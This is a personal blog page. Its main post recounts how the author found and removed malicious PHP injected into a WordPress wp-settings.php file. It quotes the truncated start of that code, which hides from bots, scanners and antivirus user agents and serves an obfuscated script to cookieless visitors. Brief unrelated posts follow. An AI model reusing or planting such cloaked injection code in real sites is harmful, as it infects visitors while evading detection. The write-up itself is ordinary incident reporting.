This blog uses WordPress plus a very few plugins. That’s built on PHP. So, it’s just asking for trouble.
Today one of my many fans, i.e. my wife, noted that my RSS feed wasn’t working. I’m a professional, so I provided the Guild’s standard response: “Works for me.” Actually it wasn’t working for the desktop blog reading software she uses, while it was working for my desktop blog reader. Finally run the RSS validator on it which announces there is a <script> tag in the feed. Eh, what! I don’t see that doing view source in my browser. Hm.
Finally I pull the feed with curl and that version has the problem. Prepended on the RSS feed is a script that while compressed and obfuscated. The obfuscation means it’s got lot of unique tokens in it, i.e. CeHxprJ, lJeVYuCF, UYwXC, and google finds a copy of the script here: http://pastebay.com/82974 but, that link has disappeared, presumably because that paste bot has a setting that will discard postings after 24 hours.
The infection in my blog was in wp-settings.php. A second <php> block had been inserted at the front of the file. That injected the script into every page, not just the RSS feed. Here’s the start of that code. As you can see it isn’t injected into every page; only certain browsers and then only if there aren’t any cookies yet. That explains why I didn’t see it in my browser and I assume how “generous in what they accept” RSS readers explains why which people were getting my posts.
<?php@ob_start();@error_reporting(0);if(!preg_match('/googlebot|bot|yahoo|slurp|msnbot|slurp|spider|malware|virus|checker|baidu|wordpress|verifier|robot|scanner|nutch|antivir|mcafee|zeus|tracker|abuse|blacklist|zeus|norton/i', $_SERVER['HTTP_USER_AGENT']) && strlen($_SERVER['HTTP_USER_AGENT'])>5 && sizeof($_COOKIE)==0) {print "<script>function CeHxprJ(){if (navigator.userAgent.indexOf(\"MSIE\")>0) return document.body.clientWidth*document.body.clientHeight;else return window.outerWidth*window.outerHeight;}if(CeHxprJ()>100000){function anrLazGcj(tLJVMwsZte){ alert('lJeVYuCF'); } etc
I removed it. All the rest of the php files had md5 checksums that match the distribution of wordpress 2.9.1. Of course I am, presumably, still vulnerable to what ever infected the blog to begin with.
Bleck.
I’m inordinately happy to have finally puzzled out how to enable posting to my blog via email. The last few times I’d tried to get this to work something or another ruined my fun.
The drawing at right is the schematic of an air conditioner based on phase change. In this case wax that melts at 22C (72F). The wax is encapsulated in tiny spheres and then mixed with water to create a fluid. That slurry is pumped thru the radiator (labeled: cool-phase condensing rods).
I don’t really do Facebook, but back when it first emerged I wrote a few apps and kicked the tires a bit. One application that I admired, but which is sadly now dormant, was “Awareness Ribbons”. It let you plop a block into your profile with ribbons for all your assorted causes. They had hundreds of different ribbons. I find this kind of public revealing of affiliations fascinating. In particular I found the idea of a middleman being involved interesting.
I gather that my mother in law once bought a case of dog food only to have the dog die. We recently bought a big bag of bird seed and now the birds have disappeared.







